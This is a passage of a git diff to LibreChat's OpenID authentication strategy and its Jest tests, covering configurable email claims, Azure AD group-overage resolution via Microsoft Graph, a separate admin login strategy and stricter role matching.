expect(user.federatedTokens.access_token).toBe('raw-bearer-token'); + expect(user.federatedTokens.id_token).toBe('cookie-id'); + expect(user.federatedTokens.refresh_token).toBe('cookie-refresh'); + }); + + it('should set id_token to undefined when not available in session or cookies', async () => { + const req = { + headers: { + authorization: 'Bearer raw-bearer-token', + cookie: 'openid_access_token=cookie-access; refreshToken=cookie-refresh', + }, + }; + + const { user } = await invokeVerify(req, payload); + + expect(user.federatedTokens.access_token).toBe('cookie-access'); + expect(user.federatedTokens.id_token).toBeUndefined(); + expect(user.federatedTokens.refresh_token).toBe('cookie-refresh'); + }); + + it('should keep id_token and access_token as distinct values from cookies', async () => { + const req = { + headers: { + authorization: 'Bearer raw-bearer-token', + cookie: + 'openid_access_token=the-access-token; openid_id_token=the-id-token; refreshToken=the-refresh', + }, + }; + + const { user } = await invokeVerify(req, payload); + + expect(user.federatedTokens.access_token).toBe('the-access-token'); + expect(user.federatedTokens.id_token).toBe('the-id-token'); + expect(user.federatedTokens.access_token).not.toBe(user.federatedTokens.id_token); + }); +}); + +describe('openIdJwtStrategy – OPENID_EMAIL_CLAIM', () => { + const payload = { + sub: 'oidc-123', + email: 'test@example.com', + preferred_username: 'testuser', + upn: 'test@corp.example.com', + exp: 9999999999, + }; + + beforeEach(() => { + jest.clearAllMocks(); + delete process.env.OPENID_EMAIL_CLAIM; + + // Use real findOpenIDUser so it delegates to the findUser mock + const realFindOpenIDUser = jest.requireActual('@librechat/api').findOpenIDUser; + findOpenIDUser.mockImplementation(realFindOpenIDUser); + + findUser.mockResolvedValue(null); + updateUser.mockResolvedValue({}); + + openIdJwtLogin(mockOpenIdConfig); + }); + + afterEach(() => { + delete process.env.OPENID_EMAIL_CLAIM; + }); + + it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => { + const existingUser = { + _id: 'user-id-1', + provider: 'openid', + openidId: payload.sub, + email: payload.email, + role: SystemRoles.USER, + }; + findUser.mockImplementation(async (query) => { + if (query.$or && query.$or.some((c) => c.openidId === payload.sub)) { + return existingUser; + } + return null; + }); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledWith( + expect.objectContaining({ + $or: expect.arrayContaining([{ openidId: payload.sub }]), + }), + ); + }); + + it('should use OPENID_EMAIL_CLAIM when set for email lookup', async () => { + process.env.OPENID_EMAIL_CLAIM = 'upn'; + findUser.mockResolvedValue(null); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + const { user } = await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledTimes(2); + expect(findUser.mock.calls[0][0]).toMatchObject({ + $or: expect.arrayContaining([{ openidId: payload.sub }]), + }); + expect(findUser.mock.calls[1][0]).toEqual({ email: 'test@corp.example.com' }); + expect(user).toBe(false); + }); + + it('should fall back to default chain when OPENID_EMAIL_CLAIM points to missing claim', async () => { + process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim'; + findUser.mockResolvedValue(null); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + const { user } = await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledWith({ email: payload.email }); + expect(user).toBe(false); + }); + + it('should trim whitespace from OPENID_EMAIL_CLAIM', async () => { + process.env.OPENID_EMAIL_CLAIM = ' upn '; + findUser.mockResolvedValue(null); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledWith({ email: 'test@corp.example.com' }); + }); + + it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => { + process.env.OPENID_EMAIL_CLAIM = ''; + findUser.mockResolvedValue(null); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledWith({ email: payload.email }); + }); + + it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => { + process.env.OPENID_EMAIL_CLAIM = ' '; + findUser.mockResolvedValue(null); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + await invokeVerify(req, payload); + + expect(findUser).toHaveBeenCalledWith({ email: payload.email }); + }); + + it('should resolve undefined email when payload is null', async () => { + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + const { user } = await invokeVerify(req, null); + + expect(user).toBe(false); + }); + + it('should attempt email lookup via preferred_username fallback when email claim is absent', async () => { + const payloadNoEmail = { + sub: 'oidc-new-sub', + preferred_username: 'legacy@corp.com', + upn: 'legacy@corp.com', + exp: 9999999999, + }; + + const legacyUser = { + _id: 'legacy-db-id', + email: 'legacy@corp.com', + openidId: null, + role: SystemRoles.USER, + }; + + findUser.mockImplementation(async (query) => { + if (query.$or) { + return null; + } + if (query.email === 'legacy@corp.com') { + return legacyUser; + } + return null; + }); + + const req = { headers: { authorization: 'Bearer tok' }, session: {} }; + const { user } = await invokeVerify(req, payloadNoEmail); + + expect(findUser).toHaveBeenCalledTimes(2); + expect(findUser.mock.calls[1][0]).toEqual({ email: 'legacy@corp.com' }); + expect(user).toBeTruthy(); + expect(updateUser).toHaveBeenCalledWith( + 'legacy-db-id', + expect.objectContaining({ provider: 'openid', openidId: payloadNoEmail.sub }), + ); + }); +}); diff --git a/api/strategies/openidStrategy.js b/api/strategies/openidStrategy.js index a4369e601b..0ebdcb04e1 100644 --- a/api/strategies/openidStrategy.js +++ b/api/strategies/openidStrategy.js @@ -6,8 +6,8 @@ const client = require('openid-client'); const jwtDecode = require('jsonwebtoken/decode'); const { HttpsProxyAgent } = require('https-proxy-agent'); const { hashToken, logger } = require('@librechat/data-schemas'); -const { CacheKeys, ErrorTypes } = require('librechat-data-provider'); const { Strategy: OpenIDStrategy } = require('openid-client/passport'); +const { CacheKeys, ErrorTypes, SystemRoles } = require('librechat-data-provider'); const { isEnabled, logHeaders, @@ -267,6 +267,34 @@ function getFullName(userinfo) { return userinfo.username || userinfo.email; } +/** + * Resolves the user identifier from OpenID claims. + * Configurable via OPENID_EMAIL_CLAIM; defaults to: email -> preferred_username -> upn. + * + * @param {Object} userinfo - The user information object from OpenID Connect + * @returns {string|undefined} The resolved identifier string + */ +function getOpenIdEmail(userinfo) { + const claimKey = process.env.OPENID_EMAIL_CLAIM?.trim(); + if (claimKey) { + const value = userinfo[claimKey]; + if (typeof value === 'string' && value) { + return value; + } + if (value !== undefined && value !== null) { + logger.warn( + `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" resolved to a non-string value (type: ${typeof value}). Falling back to: email -> preferred_username -> upn.`, + ); + } else { + logger.warn( + `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" not present in userinfo. Falling back to: email -> preferred_username -> upn.`, + ); + } + } + const fallback = userinfo.email || userinfo.preferred_username || userinfo.upn; + return typeof fallback === 'string' ? fallback : undefined; +} + /** * Converts an input into a string suitable for a username. * If the input is a string, it will be returned as is. @@ -287,6 +315,367 @@ function convertToUsername(input, defaultValue = '') { return defaultValue; } +/** + * Resolve Azure AD groups when group overage is in effect (groups moved to _claim_names/_claim_sources). + * + * NOTE: Microsoft recommends treating _claim_names/_claim_sources as a signal only and using Microsoft Graph + * to resolve group membership instead of calling the endpoint in _claim_sources directly. + * + * @param {string} accessToken - Access token with Microsoft Graph permissions + * @returns {Promise} Resolved group IDs or null on failure + * @see https://learn.microsoft.com/en-us/entra/identity-platform/access-token-claims-reference#groups-overage-claim + * @see https://learn.microsoft.com/en-us/graph/api/directoryobject-getmemberobjects + */ +async function resolveGroupsFromOverage(accessToken) { + try { + if (!accessToken) { + logger.error('[openidStrategy] Access token missing; cannot resolve group overage'); + return null; + } + + // Use /me/getMemberObjects so least-privileged delegated permission User.Read is sufficient + // when resolving the signed-in user's group membership. + const url = 'https://graph.microsoft.com/v1.0/me/getMemberObjects'; + + logger.debug( + `[openidStrategy] Detected group overage, resolving groups via Microsoft Graph getMemberObjects: ${url}`, + ); + + const fetchOptions = { + method: 'POST', + headers: { + Authorization: `Bearer ${accessToken}`, + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ securityEnabledOnly: false }), + }; + + if (process.env.PROXY) { + const { ProxyAgent } = undici; + fetchOptions.dispatcher = new ProxyAgent(process.env.PROXY); + } + + const response = await undici.fetch(url, fetchOptions); + if (!response.ok) { + logger.error( + `[openidStrategy] Failed to resolve groups via Microsoft Graph getMemberObjects: HTTP ${response.status} ${response.statusText}`, + ); + return null; + } + + const data = await response.json(); + const values = Array.isArray(data?.value) ? data.value : null; + if (!values) { + logger.error( + '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects', + ); + return null; + } + const groupIds = values.filter((id) => typeof id === 'string'); + + logger.debug( + `[openidStrategy] Successfully resolved ${groupIds.length} groups via Microsoft Graph getMemberObjects`, + ); + return groupIds; + } catch (err) { + logger.error( + '[openidStrategy] Error resolving groups via Microsoft Graph getMemberObjects:', + err, + ); + return null; + } +} + +/** + * Process OpenID authentication tokenset and userinfo + * This is the core logic extracted from the passport strategy callback + * Can be reused by both the passport strategy and proxy authentication + * + * @param {Object} tokenset - The OpenID tokenset containing access_token, id_token, etc. + * @param {boolean} existingUsersOnly - If true, only existing users will be processed + * @returns {Promise} The authenticated user object with tokenset + */ +async function processOpenIDAuth(tokenset, existingUsersOnly = false) { + const claims = tokenset.claims ? tokenset.claims() : tokenset; + const userinfo = { + ...claims, + }; + + if (tokenset.access_token) { + const providerUserinfo = await getUserInfo(openidConfig, tokenset.access_token, claims.sub); + Object.assign(userinfo, providerUserinfo); + } + + const appConfig = await getAppConfig(); + const email = getOpenIdEmail(userinfo); + if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) { + logger.error( + `[OpenID Strategy] Authentication blocked - email domain not allowed [Identifier: ${email}]`, + ); + throw new Error('Email domain not allowed'); + } + + const result = await findOpenIDUser({ + findUser, + email: email, + openidId: claims.sub || userinfo.sub, + idOnTheSource: claims.oid || userinfo.oid, + strategyName: 'openidStrategy', + }); + let user = result.user; + const error = result.error; + + if (error) { + throw new Error(ErrorTypes.AUTH_FAILED); + } + + const fullName = getFullName(userinfo); + + const requiredRole = process.env.OPENID_REQUIRED_ROLE; + if (requiredRole) { + const requiredRoles = requiredRole + .split(',') + .map((role) => role.trim()) + .filter(Boolean); + const requiredRoleParameterPath = process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH; + const requiredRoleTokenKind = process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND; + + let decodedToken = ''; + if (requiredRoleTokenKind === 'access' && tokenset.access_token) { + decodedToken = jwtDecode(tokenset.access_token); + } else if (requiredRoleTokenKind === 'id' && tokenset.id_token) { + decodedToken = jwtDecode(tokenset.id_token); + } + + let roles = get(decodedToken, requiredRoleParameterPath); + + // Handle Azure AD group overage for ID token groups: when hasgroups or _claim_* indicate overage, + // resolve groups via Microsoft Graph instead of relying on token group values. + if ( + !Array.isArray(roles) && + typeof roles !== 'string' && + requiredRoleTokenKind === 'id' && + requiredRoleParameterPath === 'groups' && + decodedToken && + (decodedToken.hasgroups || + (decodedToken._claim_names?.groups && + decodedToken._claim_sources?.[decodedToken._claim_names.groups])) + ) { + const overageGroups = await resolveGroupsFromOverage(tokenset.access_token); + if (overageGroups) { + roles = overageGroups; + } + } + + if (!roles || (!Array.isArray(roles) && typeof roles !== 'string')) { + logger.error( + `[openidStrategy] Key '${requiredRoleParameterPath}' not found in ${requiredRoleTokenKind} token!`, + ); + const rolesList = + requiredRoles.length === 1 + ? `"${requiredRoles[0]}"` + : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`; + throw new Error(`You must have ${rolesList} role to log in.`); + } + + const roleValues = Array.isArray(roles) ? roles : roles.split(/[\s,]+/).filter(Boolean); + + if (!requiredRoles.some((role) => roleValues.includes(role))) { + const rolesList = + requiredRoles.length === 1 + ? `"${requiredRoles[0]}"` + : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`; + throw new Error(`You must have ${rolesList} role to log in.`); + } + } + + let username = ''; + if (process.env.OPENID_USERNAME_CLAIM) { + username = userinfo[process.env.OPENID_USERNAME_CLAIM]; + } else { + username = convertToUsername( + userinfo.preferred_username || userinfo.username || userinfo.email, + ); + } + + if (existingUsersOnly && !user) { + throw new Error('User does not exist'); + } + + if (!user) { + user = { + provider: 'openid', + openidId: userinfo.sub, + username, + email: email || '', + emailVerified: userinfo.email_verified || false, + name: fullName, + idOnTheSource: userinfo.oid, + }; + + const balanceConfig = getBalanceConfig(appConfig); + user = await createUser(user, balanceConfig, true, true); + } else { + user.provider = 'openid'; + user.openidId = userinfo.sub; + user.username = username; + user.name = fullName; + user.idOnTheSource = userinfo.oid; + if (email && email !== user.email) { + user.email = email; + user.emailVerified = userinfo.email_verified || false; + } + } + + const adminRole = process.env.OPENID_ADMIN_ROLE; + const adminRoleParameterPath = process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH; + const adminRoleTokenKind = process.env.OPENID_ADMIN_ROLE_TOKEN_KIND; + + if (adminRole && adminRoleParameterPath && adminRoleTokenKind) { + let adminRoleObject; + switch (adminRoleTokenKind) { + case 'access': + adminRoleObject = jwtDecode(tokenset.access_token); + break; + case 'id': + adminRoleObject = jwtDecode(tokenset.id_token); + break; + case 'userinfo': + adminRoleObject = userinfo; + break; + default: + logger.error( + `[openidStrategy] Invalid admin role token kind: ${adminRoleTokenKind}. Must be one of 'access', 'id', or 'userinfo'.`, + ); + throw new Error('Invalid admin role token kind'); + } + + const adminRoles = get(adminRoleObject, adminRoleParameterPath); + let adminRoleValues = []; + if (Array.isArray(adminRoles)) { + adminRoleValues = adminRoles; + } else if (typeof adminRoles === 'string') { + adminRoleValues = adminRoles.split(/[\s,]+/).filter(Boolean); + } + + if (adminRoles && (adminRoles === true || adminRoleValues.includes(adminRole))) { + user.role = SystemRoles.ADMIN; + logger.info(`[openidStrategy] User ${username} is an admin based on role: ${adminRole}`); + } else if (user.role === SystemRoles.ADMIN) { + user.role = SystemRoles.USER; + logger.info( + `[openidStrategy] User ${username} demoted from admin - role no longer present in token`, + ); + } + } + + if (!!userinfo && userinfo.picture && !user.avatar?.includes('manual=true')) { + /** @type {string | undefined} */ + const imageUrl = userinfo.picture; + + let fileName; + if (crypto) { + fileName = (await hashToken(userinfo.sub)) + '.png'; + } else { + fileName = userinfo.sub + '.png'; + } + + const imageBuffer = await downloadImage( + imageUrl, + openidConfig, + tokenset.access_token, + userinfo.sub, + ); + if (imageBuffer) { + const { saveBuffer } = getStrategyFunctions( + appConfig?.fileStrategy ?? process.env.CDN_PROVIDER, + ); + const imagePath = await saveBuffer({ + fileName, + userId: user._id.toString(), + buffer: imageBuffer, + }); + user.avatar = imagePath ?? ''; + } + } + + user = await updateUser(user._id, user); + + logger.info( + `[openidStrategy] login success openidId: ${user.openidId} | email: ${user.email} | username: ${user.username} `, + { + user: { + openidId: user.openidId, + username: user.username, + email: user.email, + name: user.name, + }, + }, + ); + + return { + ...user, + tokenset, + federatedTokens: { + access_token: tokenset.access_token, + id_token: tokenset.id_token, + refresh_token: tokenset.refresh_token, + expires_at: tokenset.expires_at, + }, + }; +} + +/** + * @param {boolean | undefined} [existingUsersOnly] + */ +function createOpenIDCallback(existingUsersOnly) { + return async (tokenset, done) => { + try { + const user = await processOpenIDAuth(tokenset, existingUsersOnly); + done(null, user); + } catch (err) { + if (err.message === 'Email domain not allowed') { + return done(null, false, { message: err.message }); + } + if (err.message === ErrorTypes.AUTH_FAILED) { + return done(null, false, { message: err.message }); + } + if (err.message && err.message.includes('role to log in')) { + return done(null, false, { message: err.message }); + } + logger.error('[openidStrategy] login failed', err); + done(err); + } + }; +} + +/** + * Sets up the OpenID strategy specifically for admin authentication. + * @param {Configuration} openidConfig + */ +const setupOpenIdAdmin = (openidConfig) => { + try { + if (!openidConfig) { + throw new Error('OpenID configuration not initialized'); + } + + const openidAdminLogin = new CustomOpenIDStrategy( + { + config: openidConfig, + scope: process.env.OPENID_SCOPE, + usePKCE: isEnabled(process.env.OPENID_USE_PKCE), + clockTolerance: process.env.OPENID_CLOCK_TOLERANCE || 300, + callbackURL: process.env.DOMAIN_SERVER + '/api/admin/oauth/openid/callback', + }, + createOpenIDCallback(true), + ); + + passport.use('openidAdmin', openidAdminLogin); + } catch (err) { + logger.error('[openidStrategy] setupOpenIdAdmin', err); + } +}; + /** * Sets up the OpenID strategy for authentication. * This function configures the OpenID client, handles proxy settings, @@ -324,10 +713,6 @@ async function setupOpenId() { }, ); - const requiredRole = process.env.OPENID_REQUIRED_ROLE; - const requiredRoleParameterPath = process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH; - const requiredRoleTokenKind = process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND; - const usePKCE = isEnabled(process.env.OPENID_USE_PKCE); logger.info(`[openidStrategy] OpenID authentication configuration`, { generateNonce: shouldGenerateNonce, reason: shouldGenerateNonce @@ -335,241 +720,25 @@ async function setupOpenId() { : 'OPENID_GENERATE_NONCE=false - Standard flow without explicit nonce or metadata', }); - // Set of env variables that specify how to set if a user is an admin - // If not set, all users will be treated as regular users - const adminRole = process.env.OPENID_ADMIN_ROLE; - const adminRoleParameterPath = process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH; - const adminRoleTokenKind = process.env.OPENID_ADMIN_ROLE_TOKEN_KIND; - const openidLogin = new CustomOpenIDStrategy( { config: openidConfig, scope: process.env.OPENID_SCOPE, callbackURL: process.env.DOMAIN_SERVER + process.env.OPENID_CALLBACK_URL, clockTolerance: process.env.OPENID_CLOCK_TOLERANCE || 300, - usePKCE, - }, - /** - * @param {import('openid-client').TokenEndpointResponseHelpers} tokenset - * @param {import('passport-jwt').VerifyCallback} done - */ - async (tokenset, done) => { - try { - const claims = tokenset.claims(); - const userinfo = { - ...claims, - ...(await getUserInfo(openidConfig, tokenset.access_token, claims.sub)), - }; - - const appConfig = await getAppConfig(); - /** Azure AD sometimes doesn't return email, use preferred_username as fallback */ - const email = userinfo.email || userinfo.preferred_username || userinfo.upn; - if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) { - logger.error( - `[OpenID Strategy] Authentication blocked - email domain not allowed [Email: ${email}]`, - ); - return done(null, false, { message: 'Email domain not allowed' }); - } - - const result = await findOpenIDUser({ - findUser, - email: email, - openidId: claims.sub, - idOnTheSource: claims.oid, - strategyName: 'openidStrategy', - }); - let user = result.user; - const error = result.error; - - if (error) { - return done(null, false, { - message: ErrorTypes.AUTH_FAILED, - }); - } - - const fullName = getFullName(userinfo); - - if (requiredRole) { - const requiredRoles = requiredRole - .split(',') - .map((role) => role.trim()) - .filter(Boolean); - let decodedToken = ''; - if (requiredRoleTokenKind === 'access') { - decodedToken = jwtDecode(tokenset.access_token); - } else if (requiredRoleTokenKind === 'id') { - decodedToken = jwtDecode(tokenset.id_token); - } - - let roles = get(decodedToken, requiredRoleParameterPath); - if (!roles || (!Array.isArray(roles) && typeof roles !== 'string')) { - logger.error( - `[openidStrategy] Key '${requiredRoleParameterPath}' not found or invalid type in ${requiredRoleTokenKind} token!`, - ); - const rolesList = - requiredRoles.length === 1 - ? `"${requiredRoles[0]}"` - : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`; - return done(null, false, { - message: `You must have ${rolesList} role to log in.`, - }); - } - - if (!requiredRoles.some((role) => roles.includes(role))) { - const rolesList = - requiredRoles.length === 1 - ? `"${requiredRoles[0]}"` - : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`; - return done(null, false, { - message: `You must have ${rolesList} role to log in.`, - }); - } - } - - let username = ''; - if (process.env.OPENID_USERNAME_CLAIM) { - username = userinfo[process.env.OPENID_USERNAME_CLAIM]; - } else { - username = convertToUsername( - userinfo.preferred_username || userinfo.username || userinfo.email, - ); - } - - if (!user) { - user = { - provider: 'openid', - openidId: userinfo.sub, - username, - email: email || '', - emailVerified: userinfo.email_verified || false, - name: fullName, - idOnTheSource: userinfo.oid, - }; - - const balanceConfig = getBalanceConfig(appConfig); - user = await createUser(user, balanceConfig, true, true); - } else { - user.provider = 'openid'; - user.openidId = userinfo.sub; - user.username = username; - user.name = fullName; - user.idOnTheSource = userinfo.oid; - if (email && email !== user.email) { - user.email = email; - user.emailVerified = userinfo.email_verified || false; - } - } - - if (adminRole && adminRoleParameterPath && adminRoleTokenKind) { - let adminRoleObject; - switch (adminRoleTokenKind) { - case 'access': - adminRoleObject = jwtDecode(tokenset.access_token); - break; - case 'id': - adminRoleObject = jwtDecode(tokenset.id_token); - break; - case 'userinfo': - adminRoleObject = userinfo; - break; - default: - logger.error( - `[openidStrategy] Invalid admin role token kind: ${adminRoleTokenKind}. Must be one of 'access', 'id', or 'userinfo'.`, - ); - return done(new Error('Invalid admin role token kind')); - } - - const adminRoles = get(adminRoleObject, adminRoleParameterPath); - - // Accept 3 types of values for the object extracted from adminRoleParameterPath: - // 1. A boolean value indicating if the user is an admin - // 2. A string with a single role name - // 3. An array of role names - - if ( - adminRoles && - (adminRoles === true || - adminRoles === adminRole || - (Array.isArray(adminRoles) && adminRoles.includes(adminRole))) - ) { - user.role = 'ADMIN'; - logger.info( - `[openidStrategy] User ${username} is an admin based on role: ${adminRole}`, - ); - } else if (user.role === 'ADMIN') { - user.role = 'USER'; - logger.info( - `[openidStrategy] User ${username} demoted from admin - role no longer present in token`, - ); - } - } - - if (!!userinfo && userinfo.picture && !user.avatar?.includes('manual=true')) { - /** @type {string | undefined} */ - const imageUrl = userinfo.picture; - - let fileName; - if (crypto) { - fileName = (await hashToken(userinfo.sub)) + '.png'; - } else { - fileName = userinfo.sub + '.png'; - } - - const imageBuffer = await downloadImage( - imageUrl, - openidConfig, - tokenset.access_token, - userinfo.sub, - ); - if (imageBuffer) { - const { saveBuffer } = getStrategyFunctions( - appConfig?.fileStrategy ?? process.env.CDN_PROVIDER, - ); - const imagePath = await saveBuffer({ - fileName, - userId: user._id.toString(), - buffer: imageBuffer, - }); - user.avatar = imagePath ?? ''; - } - } - - user = await updateUser(user._id, user); - - logger.info( - `[openidStrategy] login success openidId: ${user.openidId} | email: ${user.email} | username: ${user.username} `, - { - user: { - openidId: user.openidId, - username: user.username, - email: user.email, - name: user.name, - }, - }, - ); - - done(null, { - ...user, - tokenset, - federatedTokens: { - access_token: tokenset.access_token, - refresh_token: tokenset.refresh_token, - expires_at: tokenset.expires_at, - }, - }); - } catch (err) { - logger.error('[openidStrategy] login failed', err); - done(err); - } + usePKCE: isEnabled(process.env.OPENID_USE_PKCE), }, + createOpenIDCallback(), ); passport.use('openid', openidLogin); + setupOpenIdAdmin(openidConfig); return openidConfig; } catch (err) { logger.error('[openidStrategy]', err); return null; } } + /** * @function getOpenIdConfig * @description Returns the OpenID client instance. @@ -586,4 +755,5 @@ function getOpenIdConfig() { module.exports = { setupOpenId, getOpenIdConfig, + getOpenIdEmail, }; diff --git a/api/strategies/openidStrategy.spec.js b/api/strategies/openidStrategy.spec.js index 9ac22ff42f..485b77829e 100644 --- a/api/strategies/openidStrategy.spec.js +++ b/api/strategies/openidStrategy.spec.js @@ -1,3 +1,4 @@ +const undici = require('undici'); const fetch = require('node-fetch'); const jwtDecode = require('jsonwebtoken/decode'); const { ErrorTypes } = require('librechat-data-provider'); @@ -7,6 +8,10 @@ const { setupOpenId } = require('./openidStrategy'); // --- Mocks --- jest.mock('node-fetch'); jest.mock('jsonwebtoken/decode'); +jest.mock('undici', () => ({ + fetch: jest.fn(), + ProxyAgent: jest.fn(), +})); jest.mock('~/server/services/Files/strategies', () => ({ getStrategyFunctions: jest.fn(() => ({ saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'), @@ -64,21 +69,36 @@ jest.mock('openid-client', () => { }); jest.mock('openid-client/passport', () => { - let verifyCallback; + /** Store callbacks by strategy name - 'openid' and 'openidAdmin' */ + const verifyCallbacks = {}; + let lastVerifyCallback; + const mockStrategy = jest.fn((options, verify) => { - verifyCallback = verify; + lastVerifyCallback = verify; return { name: 'openid', options, verify }; }); return { Strategy: mockStrategy, - __getVerifyCallback: () => verifyCallback, + /** Get the last registered callback (for backward compatibility) */ + __getVerifyCallback: () => lastVerifyCallback, + /** Store callback by name when passport.use is called */ + __setVerifyCallback: (name, callback) => { + verifyCallbacks[name] = callback; + }, + /** Get callback by strategy name */ + __getVerifyCallbackByName: (name) => verifyCallbacks[name], }; }); -// Mock passport +// Mock passport - capture strategy name and callback jest.mock('passport', () => ({ - use: jest.fn(), + use: jest.fn((name, strategy) => { + const passportMock = require('openid-client/passport'); + if (strategy && strategy.verify) { + passportMock.__setVerifyCallback(name, strategy.verify); + } + }), })); describe('setupOpenId', () => { @@ -132,6 +152,7 @@ describe('setupOpenId', () => { process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id'; delete process.env.OPENID_USERNAME_CLAIM; delete process.env.OPENID_NAME_CLAIM; + delete process.env.OPENID_EMAIL_CLAIM; delete process.env.PROXY; delete process.env.OPENID_USE_PKCE; @@ -159,9 +180,10 @@ describe('setupOpenId', () => { }; fetch.mockResolvedValue(fakeResponse); - // Call the setup function and capture the verify callback + // Call the setup function and capture the verify callback for the regular 'openid' strategy + // (not 'openidAdmin' which requires existing users) await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); }); it('should create a new user with correct username when preferred_username claim exists', async () => { @@ -344,6 +366,81 @@ describe('setupOpenId', () => { expect(details.message).toBe('You must have "requiredRole" role to log in.'); }); + it('should not treat substring matches in string roles as satisfying required role', async () => { + // Arrange – override required role to "read" then re-setup + process.env.OPENID_REQUIRED_ROLE = 'read'; + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + // Token contains "bread" which *contains* "read" as a substring + jwtDecode.mockReturnValue({ + roles: 'bread', + }); + + // Act + const { user, details } = await validate(tokenset); + + // Assert – verify that substring match does not grant access + expect(user).toBe(false); + expect(details.message).toBe('You must have "read" role to log in.'); + }); + + it('should allow login when roles claim is a space-separated string containing the required role', async () => { + // Arrange – IdP returns roles as a space-delimited string + jwtDecode.mockReturnValue({ + roles: 'role1 role2 requiredRole', + }); + + // Act + const { user } = await validate(tokenset); + + // Assert – login succeeds when required role is present after splitting + expect(user).toBeTruthy(); + expect(createUser).toHaveBeenCalled(); + }); + + it('should allow login when roles claim is a comma-separated string containing the required role', async () => { + // Arrange – IdP returns roles as a comma-delimited string + jwtDecode.mockReturnValue({ + roles: 'role1,role2,requiredRole', + }); + + // Act + const { user } = await validate(tokenset); + + // Assert – login succeeds when required role is present after splitting + expect(user).toBeTruthy(); + expect(createUser).toHaveBeenCalled(); + }); + + it('should allow login when roles claim is a mixed comma-and-space-separated string containing the required role', async () => { + // Arrange – IdP returns roles with comma-and-space delimiters + jwtDecode.mockReturnValue({ + roles: 'role1, role2, requiredRole', + }); + + // Act + const { user } = await validate(tokenset); + + // Assert – login succeeds when required role is present after splitting + expect(user).toBeTruthy(); + expect(createUser).toHaveBeenCalled(); + }); + + it('should reject login when roles claim is a space-separated string that does not contain the required role', async () => { + // Arrange – IdP returns a delimited string but required role is absent + jwtDecode.mockReturnValue({ + roles: 'role1 role2 otherRole', + }); + + // Act + const { user, details } = await validate(tokenset); + + // Assert – login is rejected with the correct error message + expect(user).toBe(false); + expect(details.message).toBe('You must have "requiredRole" role to log in.'); + }); + it('should allow login when single required role is present (backward compatibility)', async () => { // Arrange – ensure single role configuration (as set in beforeEach) // OPENID_REQUIRED_ROLE = 'requiredRole' @@ -362,6 +459,292 @@ describe('setupOpenId', () => { expect(createUser).toHaveBeenCalled(); }); + describe('group overage and groups handling', () => { + it.each([ + ['groups array contains required group', ['group-required', 'other-group'], true, undefined], + [ + 'groups array missing required group', + ['other-group'], + false, + 'You must have "group-required" role to log in.', + ], + ['groups string equals required group', 'group-required', true, undefined], + [ + 'groups string is other group', + 'other-group', + false, + 'You must have "group-required" role to log in.', + ], + ])( + 'uses groups claim directly when %s (no overage)', + async (_label, groupsClaim, expectedAllowed, expectedMessage) => { + process.env.OPENID_REQUIRED_ROLE = 'group-required'; + process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups'; + process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id'; + + jwtDecode.mockReturnValue({ + groups: groupsClaim, + permissions: ['admin'], + }); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + const { user, details } = await validate(tokenset); + + expect(undici.fetch).not.toHaveBeenCalled(); + expect(Boolean(user)).toBe(expectedAllowed); + expect(details?.message).toBe(expectedMessage); + }, + ); + + it.each([ + ['token kind is not id', { kind: 'access', path: 'groups', decoded: { hasgroups: true } }], + ['parameter path is not groups', { kind: 'id', path: 'roles', decoded: { hasgroups: true } }], + ['decoded token is falsy', { kind: 'id', path: 'groups', decoded: null }], + [ + 'no overage indicators in decoded token', + { + kind: 'id', + path: 'groups', + decoded: { + permissions: ['admin'], + }, + }, + ], + [ + 'only _claim_names present (no _claim_sources)', + { + kind: 'id', + path: 'groups', + decoded: { + _claim_names: { groups: 'src1' }, + permissions: ['admin'], + }, + }, + ], + [ + 'only _claim_sources present (no _claim_names)', + { + kind: 'id', + path: 'groups', + decoded: { + _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } }, + permissions: ['admin'], + }, + }, + ], + ])('does not attempt overage resolution when %s', async (_label, cfg) => { + process.env.OPENID_REQUIRED_ROLE = 'group-required'; + process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = cfg.path; + process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = cfg.kind; + + jwtDecode.mockReturnValue(cfg.decoded); + + await setupOpenId(); + verifyCallback = 